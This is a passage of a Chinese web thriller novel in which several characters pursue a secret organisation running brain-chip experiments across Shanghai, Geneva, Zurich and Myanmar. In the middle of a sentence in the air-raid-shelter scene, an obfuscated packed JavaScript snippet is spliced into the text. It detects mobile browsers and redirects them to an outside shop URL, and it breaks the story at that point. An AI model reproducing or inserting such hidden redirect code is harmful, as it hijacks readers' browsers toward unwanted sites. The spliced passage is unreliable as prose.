车子驶离码头,穿过清晨拥堵的上海街道。江砚辞透过车窗看着这座熟悉的城市——三年前他离开时,也是这样一个雾气蒙蒙的早晨。那时他一无所有,而现在,他肩负着太多人的期望。 “你在想什么?”周屿问。 “想如果失败了,会连累多少人。”江砚辞实话实说。 周屿沉默片刻:“我爸常说,有些事不是因为有把握才去做,而是因为必须做。江砚辞,你已经走到这一步了,没有退路了。” 车子驶入浦东机场货运区。果然如老陈所说,专用通道的安检人员只是简单检查了工具箱和证件就放行了。七点二十五分,他们登上那架喷涂着货运标志的波音747货机。 货舱里堆满了集装箱,空气中弥漫着航空燃油和金属的味道。机舱门关闭的瞬间,江砚辞感到一阵轻微的失重感——飞机开始滑行,加速,抬头冲上天空。 十二小时的飞行开始了。 ## **同一时间·日内瓦国际刑警总部** 苏晚晚坐在会议室外的长椅上,手里握着已经凉掉的咖啡。墙上的时钟显示早上八点,她已经在这里等了三个小时。 昨晚将芯片交给隼后,对方说需要内部审查,让她今天早上来听结果。但约定的八点已经过了,隼还没有出现。 走廊尽头传来脚步声。苏晚晚抬头,看到一个穿西装的中年男人走过来,不是隼,而是一个她不认识的白人官员,胸前挂着国际刑警的高级徽章。 “苏小姐?”对方用英语说,口音带着法语腔调,“我是罗伯特·杜邦,证据审查委员会的负责人。很抱歉通知你,你提供的芯片……暂时无法作为有效证据立案。” 苏晚晚站起来:“为什么?” “技术原因。”杜邦推了推眼镜,“我们的专家检测后发现,芯片内的算法结构不完整,缺少关键模块。而且……芯片的封装工艺显示它至少是二十年前的技术,以现在的标准看,已经过时了。” “可是核心伦理约束算法在里面!”苏晚晚急切地说,“隼先生说过……” “隼先生目前不在总部。”杜邦打断她,“他昨天深夜接到紧急任务,去了巴尔干地区。这个案子现在由我负责。” 苏晚晚的心沉了下去。太巧了,巧合得不像巧合。 “那芯片呢?”她问。 “作为证物暂时封存。”杜邦公事公办地说,“如果有进一步进展,我们会通知你。另外,关于你提到的‘渡鸦’组织和缅甸的人体实验,我们还需要更多实质性证据。光凭一枚芯片是不够的。” “我还有证人!”苏晚晚想起陆野,“一个中国女工程师现在在缅甸被‘渡鸦’挟持,她手里有完整的实验记录!” “缅甸?”杜邦皱眉,“那不属于我的管辖范围。你应该联系亚洲分部,或者通过外交渠道。” 推诿,搪塞。苏晚晚明白了——有人不想让这个案子继续查下去。 她深吸一口气,换上礼貌但坚定的语气:“杜邦先生,我要求见你的上级,或者国际刑警的监察部门。如果你们不愿意处理,我会召开记者发布会,把这件事公之于众。” 杜邦的脸色变了:“苏小姐,我建议你不要冲动。这种级别的技术秘密,公开会对国际安全造成威胁。” “那你们就应该负起责任,而不是掩盖!”苏晚晚的声音在空旷的走廊里回荡。 就在这时,她的手机震动了一下。是一条来自陌生号码的短信,只有一句话: **“离开总部,去老城区天鹅咖啡馆。找靠窗第三个座位,桌下有东西。别告诉任何人。——A”** 阿影。 苏晚晚收起手机,对杜邦说:“我会考虑你的建议。但如果四十八小时内没有进展,我会采取其他行动。” 她转身离开,留下杜邦在原地脸色阴晴不定。 日内瓦老城区的街道狭窄曲折,石板路被晨露打湿。苏晚晚按照导航找到那家“天鹅咖啡馆”——店面很小,门口挂着褪色的木招牌,橱窗里摆着古董咖啡机。 她推门进去,风铃叮当作响。店里只有零星几个客人,一个白发老人在吧台后磨咖啡豆。苏晚晚走到靠窗第三个座位,坐下,手悄悄伸到桌下摸索。 指尖触到一个用胶带粘在桌底的薄薄信封。她撕下来,放进包里,然后点了杯拿铁,假装看窗外的风景。 十分钟后,她起身离开。走进附近的公共卫生间,锁上门,拆开信封。 里面不是文件,而是一张房卡和一张手写便条: **“苏黎世大学附近,学院酒店312房。今晚八点,林静文教授会去那里见你。她会告诉你全部真相。注意尾巴。——A”** 信封底部还有一个小型信号屏蔽器,和一张纸条:“**进房间后打开,防止监听。**” 苏晚晚将东西收好,走出卫生间。她看了眼手机,江砚辞那边还是没有消息——货机应该还在飞行中,无法通讯。 她拦了辆出租车,用现金付了车费——阿影在之前的联络中提醒过,不要用信用卡,陆文渊的人可能监控了国际支付系统。 车子驶向苏黎世。窗外是瑞士典型的田园风光:绿草如茵的山坡,红顶白墙的农舍,远处阿尔卑斯山的雪顶在阳光下闪闪发光。 但苏晚晚无心欣赏。她想起杜邦的话,想起芯片被“技术性搁置”,想起隼的突然离开。 国际刑警内部,也有“渡鸦”的人吗? 如果连最应该信任的机构都不可靠,他们还能相信谁? ## **上午十点·缅甸雨林实验室** 陆野敲下最后一行代码,按下回车键。屏幕上,模拟程序开始运行:神经网络信号流经伦理约束模块,被精准过滤掉攻击性意图,只保留基础的运动指令。 “完成了。”她靠在椅背上,声音沙哑。 穆勒博士凑过来看,浑浊的眼睛里迸发出兴奋的光:“完美!这个约束条件设计得太精妙了!你果然得到了叶真真的真传!” “渡鸦七号”也走过来,看着屏幕上流畅运行的数据流,满意地点头:“很好。现在把这个模块植入现有系统,我们要立刻测试。” “我有个条件。”陆野说,“植入前,我要亲眼看到吴索温的妹妹安全抵达仰光医院,并且和主治医生视频通话。” “渡鸦七号”眯起眼睛:“你不信任我们?” “我谁也不信。”陆野直视他,“做完这一件事,我就履行承诺。” 僵持了几秒,“渡鸦七号”妥协了。他吩咐手下接通视频。屏幕上很快出现仰光一家私立医院的病房,一个面色苍白的年轻女孩躺在病床上,旁边站着穿白大褂的医生。 “吴索温的妹妹,吴素素,已经入院接受治疗。”医生用英语说,“我们会在今天下午进行第一次透析。” 陆野看着女孩因为痛苦而紧皱的眉头,心里像被针扎了一下。这个女孩什么都不知道,却要为哥哥的选择付出代价。 “可以了。”她说。 视频切断。陆野开始将伦理约束模块导入“启明星计划”的主系统。但没有人知道,她在代码深处埋下了一个后门——一个基于特定脑电波频率触发的自毁程序。只要有人尝试用系统进行暴力控制,程序就会启动,三十秒内清空所有数据。 这是她能为那些实验体做的最后一件事。 导入完成,系统重启。“渡鸦七号”迫不及待地命令手下准备新的实验体——这次是一个二十出头的年轻男人,也是被高额报酬骗来的村民。 陆野看着那个年轻人被绑上手术台,眼里充满恐惧,却因为药物的作用无法反抗。她握紧了拳头。 “开始植入。”穆勒博士下令。 机械臂精准地切开年轻人的后颈皮肤,将微型芯片植入脊椎神经丛。整个过程只用了十分钟,但陆野觉得像过了十年。 芯片激活。年轻人的身体剧烈抽搐了几下,然后平静下来。他睁开眼睛,眼神茫然,但能按照指令抬起手臂、握拳、松开。 “成功了!”“渡鸦七号”激动地拍手,“没有神经过载,没有意识丧失!这才是真正的人机融合!” 帐篷里响起欢呼声。只有陆野沉默地看着那个年轻人,看着他眼中逐渐消失的自我光芒,看着他变成了一具服从指令的空壳。 “现在,”穆勒博士转向陆野,“我们需要你继续完善系统。下一步是……” 他的话被一阵急促的警报声打断。 一个手下冲进帐篷:“基地外围发现不明武装人员!至少二十人,装备精良,正在快速靠近!” “渡鸦七号”脸色一变:“是缅甸军方?” “不像!他们的装备和战术更像是……雇佣兵!” 话音刚落,外面传来爆炸声和密集的枪声。帐篷剧烈摇晃,灯光忽明忽暗。 陆野趁机从椅子上滚到地面,躲到一台设备后面。混乱中,她看到“渡鸦七号”抓起一个手提箱,穆勒博士抱着笔记本电脑,在手下掩护下朝营地后方撤离。 枪声越来越近。帐篷被子弹撕开,阳光和硝烟一起涌进来。 陆野趴在地上,艰难地朝那个年轻的实验体爬去。她必须救他,至少不能让他留在这里。 但她的手刚碰到手术台,一个高大的身影就冲进了帐篷——不是“渡鸦”的人,也不是缅甸军方。那人穿着黑色作战服,脸上涂着迷彩,但陆野认出了那双眼睛。 是阿影。 阿影看到她,明显愣了一下,随即一个翻滚到她身边:“还能走吗?” “腿伤了,但能爬。”陆野抓住他的胳膊,“那个实验体,带上他!” 阿影看了眼手术台上的年轻人,二话不说,单手扛起,另一只手扶着陆野:“跟紧我!” 三人冲出帐篷。营地里已经一片混乱,“渡鸦”的武装人员和不明身份的雇佣兵正在激烈交火。阿影显然对地形很熟,带着他们绕开主战场,钻进雨林深处。 跑了大概五百米,前方出现一条河,河边停着三艘快艇。 “上船!”阿影把实验体放进第一艘快艇,扶陆野上第二艘,“顺流而下十公里有个村庄,那里有医生。” “你怎么会在这里?”陆野问。 “陈曜联系了我。”阿影发动引擎,“他说你在缅甸有危险,我就带人过来了。不过……”他看了眼后方,“这些雇佣兵不是我的人。他们是谁?” 陆野摇头。她看到那些雇佣兵的臂章上有一个模糊的标志,像是一只鸟的轮廓。 快艇在河面上疾驰,溅起白色水花。后方传来追击的枪声,但很快被甩远。 陆野靠在船舷上,看着雨林快速后退。她突然想起一件事: “阿影,你姐姐叶真真……她在遗言里提到了一个自毁指令:‘乌鸦的阴影里仍有光’。你知道那是什么意思吗?” 阿影握着方向盘的手猛地一紧。 “那是我姐姐留给江砚辞的最后信息。”他声音低沉,“‘渡鸦’的核心数据库里,有一个她当年埋下的后门。只要输入那个指令,就能摧毁所有‘乌鸦计划’的衍生数据。” “江砚辞知道吗?” “现在知道了。”阿影说,“我让他去苏黎世,就是为了拿到进入数据库的权限。但那个地方……很危险。‘渡鸦’守了二十年,不会轻易让人进去。” 快艇拐过一个弯,前方出现村庄的轮廓。但陆野的心却沉了下去。 如果江砚辞要去那么危险的地方,苏晚晚怎么办?唐果和林骁怎么办? 这场战斗,才刚刚进入最残酷的阶段。 ## **下午三点·南城老防空洞** 爆炸的烟尘还没散尽,唐果就被林骁拉着冲进了新炸开的洞口。刺鼻的硝烟味混合着地下陈腐的霉味,呛得人咳嗽不止。 头灯的光束在黑暗中晃动,照亮了前方——那是一个巨大的地下空间,比地上的防空洞大至少三倍。墙壁是混凝土浇筑的,表面布满霉斑和水渍。最惊人的是,空间里整齐排列着几十个巨大的玻璃容器,每个都有两米多高,里面浸泡着…… “老天……”林骁的声音在颤抖。 唐果捂住嘴,强忍住呕吐的冲动。那些容器里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004295|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸泡的不是器官,而是完整的人体——或者说,曾经是人体的东西。有些被肢解,有些被缝合,有些甚至能看到机械部件与生物组织的连接处。 所有的容器上都贴着标签,日文书写,标注着编号和实验日期:昭和19年(1944年)到昭和20年(1945年)。 “这就是当年的人体实验室。”唐果的声音发颤,“他们在这里测试‘金刚血清’的效果……” 她走到最近的一个容器前,用手机拍摄标签。编号047,日期1944年10月7日——和她之前在文件上看到的记录吻合。容器里的“实验体”已经严重变形,肌肉异常发达,但皮肤呈诡异的青紫色,面部因痛苦而扭曲。 林骁在另一边发现了一排档案柜。他撬开锁,里面塞满了发黄的实验记录和照片。照片上的景象比容器里的更触目惊心:活体实验的实时记录,受试者被绑在手术台上,眼神绝望。 “这些必须带出去。”唐果开始往背包里装文件,“这是战争罪行的铁证。” 但就在他们忙着收集证据时,头顶突然传来密集的脚步声——有人下来了。 “快躲!”林骁拉着唐果藏到一台大型离心机后面。 下来的不是陆文渊的人,也不是警察,而是六个穿着黑色战术服、装备精良的外国人。他们动作迅速专业,两人守住入口,四人开始检查实验室。 “目标确认,日军‘金刚计划’遗留实验室。”领头的人用英语说,带着东欧口音,“收集所有样本和资料,准备撤离。” “渡鸦”的人。他们果然也知道这里。 唐果握紧了林骁的手,两人屏住呼吸。他们只有两个人,对方有六个,而且全副武装,硬碰硬是找死。 但那些人在收集完文件后,开始往那些玻璃容器上安装小型爆破装置——他们要炸毁这里,销毁所有证据。 “不能让他们炸!”唐果急了,声音压得极低,“这些都是历史证据,是那些受害者的唯一证明!” 林骁看了眼出口方向,那两个守卫的位置很刁钻,正面冲肯定过不去。他环顾四周,突然看到实验室深处有一排老式的通风管道,管道口足够一个人爬进去。 “那边!”他指了指。 两人趁着“渡鸦”成员专注于安装爆破装置的机会,悄悄爬向通风管道。管道里积满灰尘,唐果的考古经验派上了用场——她能通过空气流动判断方向,找到可能的出口。 爬了大概五十米,前方出现光亮。管道尽头是一个竖井,井壁有生锈的梯子。向上爬了十米,推开顶部的铁盖,他们回到了地面——出口竟然在老城区的一条小巷里,距离防空洞入口有三百多米。 “快报警!”唐果一出来就拿出手机。 但林骁按住了她的手:“等等。警察里可能有陆文渊的人,而且‘渡鸦’那些人动作很快,等警察来早就炸了。” “那怎么办?” 林骁想了想,拨通了周屿留给他的紧急号码——不是电话,是一个加密通讯软件。几秒后接通,但接通的不是周屿,而是一个陌生的男声: “我是阿影的手下,代号‘夜枭’。周屿在飞机上,联系不上。你们那边什么情况?” 林骁快速说明了情况。 “日军实验室被‘渡鸦’发现了,他们要炸毁证据。”唐果抢过手机,“我们需要支援,要保住那些资料!” “夜枭”沉默了几秒:“定位发我,我派最近的队伍过去。但你们要小心——陆文渊的人也往那边去了。你们现在成了三方争夺的焦点。” 通话结束。唐果和林骁对视一眼,都看到了对方眼中的决绝。 “不能等。”唐果说,“得回去拖延时间。” “怎么拖?我们没武器。” “用这个。”唐果从背包里掏出一个东西——是上次她从防空洞带出来的那块暗红色矿石,“你说这有放射性对吧?虽然剂量小,但可以用来吓唬人。” 林骁瞪大眼睛:“你疯了?那东西危险!” “总比让证据被炸掉好。”唐果已经转身往回走,“而且,那些‘渡鸦’的人穿着防护服,说明他们怕辐射。我们可以利用这点。” 两人绕路回到防空洞附近,躲在暗处观察。果然,“渡鸦”的人已经在洞口布置了警戒,而远处,几辆黑色轿车正疾驰而来——陆文渊的人。 三方即将碰撞。 唐果握紧了手里的矿石。阳光照在矿石暗红色的表面上,反射出诡异的光泽。 她想起那些玻璃容器里扭曲的面孔,想起标签上冰冷的编号,想起七十年前在这里发生的惨剧。 有些历史必须被记住。 有些罪孽必须被见证。 她深吸一口气,走了出去。 ## **傍晚六点·飞往苏黎世的货机上** 江砚辞在货舱里醒来。飞机正在穿过一片乱流,机身剧烈颠簸。周屿坐在他对面,正用笔记本电脑调试着什么。 “我们到哪了?”江砚辞问。 “刚过莫斯科,还有四小时到苏黎世。”周屿看了眼时间,“不过有个坏消息——我截获了一段通讯,陆文渊的人已经知道我们上了这架飞机。他们在苏黎世机场安排了人,准备等我们降落就动手。” 江砚辞并不意外:“阿影的接应人能应付吗?” “不知道。”周屿摇头,“但阿影留下的加密频道里,十分钟前收到一条消息,是林静文教授发的。她说她已经联系了苏黎世大学的安保部门,会在机场接应我们。” 林静文——母亲当年的好友,林教授。江砚辞想起在瑞士时,林教授把房子借给他们,还帮忙联系了图书馆的特藏管理员。 “她还说了什么?” “她说……”周屿调出信息,“‘图书馆地下的眼睛已经睁开,看门人在等待。带上你母亲留给你的钥匙。’” 钥匙?江砚辞想起母亲留给他的那个金属吊坠——他一直戴着,以为是护身符。 他从脖子上取下吊坠。那个赛车方向盘形状的金属片,在货舱昏暗的灯光下泛着冷光。他仔细检查,突然发现方向盘的轴心处有一个极小的凹陷,用指甲按下去,金属片竟从中间分开,露出里面——不是照片或纸条,而是一枚微型的生物芯片。 “这是什么?”周屿凑过来看。 江砚辞用工具小心取出芯片。芯片只有米粒大小,表面有复杂的电路纹路。他想起母亲录像里的话:“……你父亲留下的‘种子’,本意是救人的。” 难道这个芯片,就是进入“渡鸦”核心数据库的钥匙? “需要专门的读取设备。”周屿说,“到了苏黎世,得找林教授帮忙。” 飞机继续在夜空中飞行。窗外是漆黑的云层,偶尔有闪电在远处亮起。 江砚辞握紧那枚微型芯片,感受着它冰凉的触感。 父亲用生命保护的技术,母亲用生命守护的真相,叶真真用生命埋下的后门。 所有的线,都在这一刻汇聚。 而前方,苏黎世大学的图书馆地下,等待他们的将是什么? 货机开始下降高度,准备在苏黎世机场做技术经停。 第四天的夜幕降临,而决战,即将开始。 29. 第二十九章 第二十九章七日倒计时·第五日 ## **凌晨两点·苏黎世机场货运区** 货机在雨夜中降落在苏黎世机场的专用跑道。舱门打开的瞬间,冰冷的雨水和柴油味一起涌进货舱。江砚辞和周屿抓起工具箱,跟随机组人员走下舷梯。 货运区的探照灯在雨幕中切割出惨白的光柱,地面上的积水反射着破碎的光影。老陈的战友——一个满脸胡茬的中年机长,示意他们跟上: “接应的人在B3出口的货车里。快点,机场安保十分钟后会来例行检查。” 三人快步穿过停机坪。雨水打湿了工装,江砚辞的右肩又开始隐隐作痛。他握紧了口袋里的微型芯片,金属的棱角硌着掌心。 B3出口的阴影里果然停着一辆印有“苏黎世大学图书馆后勤”字样的厢式货车。但车窗是黑色的,看不清里面的人。 机长停下脚步:“就送到这儿。祝你们好运。” 江砚辞点头致谢,和周屿走向货车。就在距离货车还有十米时,周屿突然拉住他: “不对。车牌号不对。阿影给的接应车牌尾号是37,这是39。” 话音刚落,货车后门猛地拉开,四个穿黑色冲锋衣的人跳下来,手里拿着电击棍和扎带——不是来接应的,是来抓人的。 “跑!”江砚辞转身就跑。 但后方也出现了人影——另外三个人从货机后面包抄过来。七对二,包围圈正在收紧。 周屿从工具箱里抽出两根可伸缩的战术甩棍,递给江砚辞一根:“左边三个交给我,右边四个你引开,找机会进航站楼!” 没有时间争论。江砚辞接过甩棍,朝着右侧冲去。雨水模糊了视线,但他凭着多年赛车训练出的动态视力,精准躲开第一个人的扑击,甩棍狠击对方膝盖后侧。 那人惨叫倒地,但另外三人已经围上来。江砚辞边打边退,朝航站楼方向移动。周屿那边传来打斗声和闷哼,但听起来还能应付。 就在这时,货运区深处突然亮起刺眼的车灯——一辆黑色轿车疾驰而来,轮胎在湿滑的地面上发出刺耳的摩擦声,横在江砚辞和追兵之间。 车门打开,下来的人让江砚辞愣住了。 是伊莎贝拉·施密特——苏黎世大学图书馆的特藏管理员,卡尔·施密特博士的侄女。三周前,就是她帮他们调阅了父亲留下的资料。 “上车!”伊莎贝拉用德语喊道,同时从车里扔出一个小型烟雾弹。 白色烟雾瞬间弥漫,遮挡了追兵的视线。江砚辞趁机拉开车门跳进后座,周屿也从烟雾中冲出,跌进副驾驶。 伊莎贝拉猛踩油门,车子冲出货运区,拐上机场外围道路。 “你怎么……”江砚辞喘息着问。 “林静文教授让我来的。”伊莎贝拉快速打着方向盘,从后视镜警惕地观察后方,“她说你们会有危险,让我提前在机场等候。但显然,有人泄露了消息。” 车子在雨夜中疾驰。伊莎贝拉显然熟悉道路,连续几个急转弯甩掉了可能的跟踪。 “教授在学院酒店等你们。”她说,“但现在那里也不安全了。我们得换个地方。” 周屿检查着身上的装备:“芯片还在吗?” 江砚辞点头,从内袋拿出那枚微型芯片:“但这个需要特殊设备读取。” “我带了。”伊莎贝拉从手套箱里取出一个巴掌大小的便携式读取器,“教授让我准备的。她说你母亲当年留下的所有东西,都需要这个才能解密。” 江砚辞将芯片插入读取器。屏幕亮起,开始扫描。几秒钟后,显示出一行提示: **“生物识别验证通过:江砚辞。请输入密钥。”** 密钥?江砚辞看向伊莎贝拉。 “是你母亲的声纹。”伊莎贝拉说,“教授说,你母亲当年录了一段话,只有你的声纹和她的声纹叠加才能解锁。你试着说一句你母亲常说的话。” 江砚辞闭上眼,记忆如潮水般涌来。母亲躺在病床上,握着他的手,声音虚弱但温柔: “小辞,要像你爸爸一样,做一个正直的人。技术可以改变世界,但只有善良的心,才能决定改变的方向。” 他说出这句话。 读取器上的进度条开始移动。一分钟后,屏幕上跳出一份文件目录: **1. 伦理约束算法完整版(叶真真修订) 2. “乌鸦计划”原始数据(施密特博士备份) 3. 1985-1998年监视记录(阿影提供) 4. 陆远家族与“渡鸦”交易记录(林薇收集) 5. 自毁程序启动指南(叶真真绝笔)** 最后一份文件被单独标注:“**警告:仅可在‘渡鸦’核心数据库内使用。外部启动将导致数据永久损坏。**” 江砚辞点开第五份文件。里面是详细的操作指南,配有多张数据库结构图和访问权限说明。最关键的一页写着: **“进入数据库核心层需要三重验证: 1. 施密特家族血脉的生物识别(已获得:伊莎贝拉·施密特) 2. 江振华直系亲属的生物识别(已获得:江砚辞) 3. 林薇直系亲属的声纹密钥(待获取:苏晚晚) 三人同时在场,方可启动自毁程序。 ——叶真真,1998年9月于苏黎世”** 原来如此。叶真真在二十年前就设下了这个局:只有三大家族——施密特、江、林——的后人齐聚,才能彻底终结“乌鸦计划”的阴影。 “苏晚晚现在在哪?”江砚辞问。 “应该在学院酒店等林教授。”伊莎贝拉看了眼时间,“但我们不能直接去。陆文渊的人肯定监视着那里。” 她将车子拐进一条小巷,停在一栋老式公寓楼前:“这是我的安全屋,暂时安全。你们在这里等,我去接苏小姐和林教授。” “太危险了,我去。”周屿说。 “不,你留下保护芯片。”伊莎贝拉从后备箱拿出两套干净衣服,“换掉湿衣服,这里有食物和水。我两小时内回来。” 她递给江砚辞一部加密手机:“如果有紧急情况,按这个号码。但除非万不得已,不要用。” 伊莎贝拉离开后,江砚辞和周屿走进公寓。房间不大,但布置得很温馨,书架上摆满了德文书籍和矿物标本。墙上挂着一张老照片——年轻的卡尔·施密特博士搂着一个金发小女孩,背景是阿尔卑斯山。 “她就是伊莎贝拉?”周屿指着照片上的女孩。 江砚辞点头。他走到窗边,掀开窗帘一角。雨还在下,街道上空无一人,但远处的路灯下,似乎有车停在阴影里。 “你觉得我们能相信她吗?”周屿低声问。 “现在只能信。”江砚辞放下窗帘,“而且,她身上有施密特博士的血脉,这是叶真真设定的必要条件。” 两人换掉湿衣服,简单吃了些面包。江砚辞打开那部加密手机,看到有一条未读消息,来自苏晚晚: **“已与林教授会面。知道了很多事,见面细说。我们现在去圣加仑的安全屋,地址附后。尽快来汇合。——晚晚”** 消息发送时间是半小时前。江砚辞立刻回复: **“收到。伊莎贝拉去接你们了。等你们安全抵达后联系。”** 发送后,他看了眼窗外。雨似乎小了些,但夜色更浓了。 第五天的黎明,即将到来。 ## **凌晨四点·圣加仑郊区安全屋** 苏晚晚裹着毯子,坐在壁炉前的沙发上。炉火噼啪作响,温暖驱散了雨夜的寒气,却驱不散她心头的寒意。 林静文教授坐在对面的椅子上,这位六十多岁的学者看起来比三周前苍老了许多。她手里端着一杯热茶,但手指在微微颤抖。 “你母亲和我,还有江美玲、叶真真,我们四个是1979年在苏黎世大学认识的。”林教授缓缓开口,声音里有种穿透时光的疲惫,“那时候中国刚改革开放,我们是被公派来学技术的。江美玲学机械工程,我学计算机,你母亲学舞蹈治疗,叶真真……她学的是神经科学。” “叶真真就是阿影的姐姐?”苏晚晚问。 “对。她是个天才,十六岁就被特招进大学。”林教授眼神变得悠远,“我们四个住在同一栋学生公寓,成了最好的朋友。那时我们都相信,学成回国后,可以用技术改变祖国。” 炉火跳动了一下。 “后来呢?”苏晚晚轻声问。 “后来……我们发现了‘乌鸦计划’。”林教授的声音低沉下来,“1985年,叶真真在帮施密特博士整理二战档案时,发现了这个被隐藏的项目。纳粹试图将人脑与机械结合,创造‘超级士兵’。战后,这个计划被美苏秘密继承,改名‘渡鸦’,继续研究。” 她喝了口茶,继续: “更可怕的是,叶真真发现‘渡鸦’已经渗透进了欧洲的学术界和工业界。他们用各种基金会和研究所做掩护,继续着不人道的实验。而一些中国留学生……因为缺钱,成了他们的实验对象。” 苏晚晚的手指收紧:“我母亲……” “你母亲是第一个发现的。”林教授说,“她那时在医院的康复科实习,看到了几个中国留学生因为奇怪的神经系统损伤住院。她起了疑心,开始私下调查。结果发现,那些学生都参与过一个‘高薪兼职’——测试某种新型的脑机接口设备。” 壁炉里的木柴发出爆裂声。 “你母亲把这件事告诉了江美玲,江美玲又告诉了叶真真和我。我们四个决定阻止。”林教授闭上眼睛,“叶真真利用她的技术天赋,黑进了‘渡鸦’的数据库,下载了所有实验记录和资金流向。江美玲负责联系国内,我负责数据备份,你母亲……负责保护那些受害的学生。” “然后呢?” “然后我们被发现了。”林教授的声音开始发抖,“1986年春天,‘渡鸦’的人找到了我们。他们绑架了叶真真,逼她交出所有资料。叶真真为了不连累我们,假装合作,然后在实验室里安装了自毁装置……” 她说不下去了。 苏晚晚递过纸巾。林教授擦了擦眼睛: “火灾那天,我就在外面。我看到实验室的窗户炸开,火光冲天。叶真真没能逃出来……她留在世上的最后一句话,是让江美玲照顾好她弟弟。那个弟弟,就是现在的阿影。” 房间陷入沉默,只有炉火在燃烧。 许久,苏晚晚问:“那我母亲和江阿姨后来……” “你母亲因为自责,提前回国了。她认为是自己不够小心,才导致叶真真暴露。”林教授说,“江美玲留在瑞士,嫁给了江振华,继续监视‘渡鸦’的活动。她们约定,如果‘渡鸦’再次活跃,就唤醒当年的计划——用叶真真留下的自毁程序,彻底终结一切。” “所以江阿姨才会在录像里说,让我照顾江砚辞。”苏晚晚喃喃道,“这不是报恩,是传承。” 林教授点头:“对。你母亲欠叶真真一条命,这份责任传给了你。现在,‘渡鸦’再次活跃,叶真真的弟弟阿影找到了江砚辞,而江砚辞找到了你。这一切,都是二十年前就注定的。” 窗外传来汽车引擎声。苏晚晚警惕地起身,走到窗边——是伊莎贝拉的车。 几分钟后,伊莎贝拉带着林教授的女儿——一个年轻的华裔女孩走了进来。女孩看起来二十出头,眼神警惕,手里提着医疗箱。 “这是我女儿安娜。”林教授介绍,“她是医生,可以帮你们处理伤口。” 伊莎贝拉看向苏晚晚:“江砚辞和周屿在我的安全屋。我们需要尽快汇合,但外面情况很糟。陆文渊的人已经包围了苏黎世大学,他们在找你们。” “为什么突然这么急?”苏晚晚问。 “因为‘渡鸦’的‘启明星计划’进入了最后阶段。”伊莎贝拉脸色凝重,“我刚收到缅甸那边的消息,他们用不完整的算法进行了三次大规模人体实验,结果……很惨烈。三十七个实验体,只有两个存活,而且神经系统已经严重受损。” 苏晚晚感到一阵眩晕。 “更可怕的是,”伊莎贝拉继续说,“‘渡鸦’已经提取了足够的数据,正在尝试人工合成伦理约束模块。如果让他们成功,完整的‘乌鸦计划’技术就会诞生。到那时,就没人能阻止他们了。” “那我们现在怎么办?”林教授问。 伊莎贝拉看向苏晚晚:“叶真真的自毁程序,需要你、江砚辞和我三个人同时在场。我们必须去‘渡鸦’的核心数据库所在地——那不在瑞士,在列支敦士登的一座山中堡垒。” “列支敦士登?”苏晚晚愣住,“那么小的国家……” “正因为小,才容易控制。”伊莎贝拉说,“‘渡鸦’在那里经营了三十年,整个山谷都是他们的地盘。进入需要特殊通行证,但我们有——” 她拿出三张电子身份卡:“施密特博士留给我的遗物。这是他当年被迫为‘渡鸦’工作时留下的后门,可以让我们以‘技术审核员’的身份进入。” 苏晚晚接过身份卡,冰冷的触感让她清醒了些。 “什么时候出发?” “天亮后。”伊莎贝拉说,“但现在,我们得先离开这里。这个安全屋的位置可能已经泄露了。” 话音刚落,远处传来警笛声——不是一辆,是很多辆,正在快速接近。 “他们来了!”安娜冲到窗边,“至少五辆车,已经进村了!” 没有时间犹豫。伊莎贝拉抓起车钥匙:“从后门走,我的车藏在林子里!” 五人迅速收拾必要物品,从后门溜出房子。屋后的松林在雨中黑压压一片,脚下是湿滑的落叶和泥泞。 他们刚钻进树林,前门就传来破门声和呵斥声。 “分开走!”伊莎贝拉压低声音,“安娜,你带林教授往东,去公路边搭车。苏小姐,跟我往西,去藏车的地方!” 分头行动。苏晚晚跟着伊莎贝拉在黑暗中深一脚浅一脚地奔跑,雨水打在脸上,冰冷刺骨。 跑了大概十分钟,前方出现一条小溪,溪边果然藏着一辆覆盖着伪装网的越野车。 两人上车,伊莎贝拉发动引擎,但没有开车灯,只用夜视仪观察着路面,缓慢驶离。 车子开出林子,拐上一条偏僻的乡间小路。后方没有车灯追来,暂时安全了。 苏晚晚靠在座位上,大口喘气。她的脚踝又开始疼,但更疼的是心里——那些叶真真用生命换来的真相,那些母亲背负一生的责任,此刻全都压在了她肩上。 手机震动,是江砚辞发来的消息: **“我们在圣加仑北部的废弃修道院汇合。那里安全。等你们。——砚辞”** 苏晚晚回复: **“在路上。两小时后到。”** 她收起手机,看着窗外掠过的黑暗山林。 天快亮了。 ## **清晨六点·南城老防空洞** 爆炸声在清晨响起,震动了整个老城区。 唐果从昏迷中醒来,发现自己躺在救护车里,身上盖着毯子,手臂上打着点滴。林骁坐在旁边,脸上有擦伤,但看起来没大碍。 “发生了什么?”她声音沙哑。 “你成功了。”林骁握住她的手,“那块放射性矿石让‘渡鸦’的人不敢靠近,拖延了时间。然后警察来了——不是普通警察,是国安的人。” “国安?” “对。周屿联系了阿影,阿影又联系了他在国内的关系。”林骁压低声音,“国安早就盯上陆文渊和‘渡鸦’了,这次是收网行动。‘渡鸦’那六个人全被抓了,陆文渊的人也跑了一部分,但主要头目都落网了。” 唐果松了口气,但随即想到:“实验室呢?那些证据……” “保住了。”林骁说,“国安接管了现场,所有样本和文件都被封存。他们还发现了更惊人的东西——地下三层不止有日军实验室,还有‘渡鸦’最近在用的一个秘密研究室。里面……有活体实验的记录。” 唐果闭上眼睛。虽然早有心理准备,但听到证实,还是感到一阵恶心。 “陆文渊呢?抓到了吗?” 林骁摇头:“他昨天就飞香港了,说是去谈生意。但现在肯定已经收到风声,不知道躲到哪去了。” 救护车停下,车门打开,一个穿便衣的中年男人走进来,出示证件:“唐果同志,林骁同志,我是国安七局的赵处长。有些情况需要向你们了解。” 接下来的两个小时,唐果和林骁在医院的隔离病房里接受了详细询问。他们把知道的一切都说了——从老防空洞的发现,到“渡鸦”的人体实验,再到陆文渊的威胁。 赵处长听完,神色严肃:“你们提供的线索非常重要。我们现在可以确认,陆文渊及其背后的陆远集团,长期为‘渡鸦’提供资金和掩护,涉及走私、非法人体实验、技术盗窃等多项重罪。” 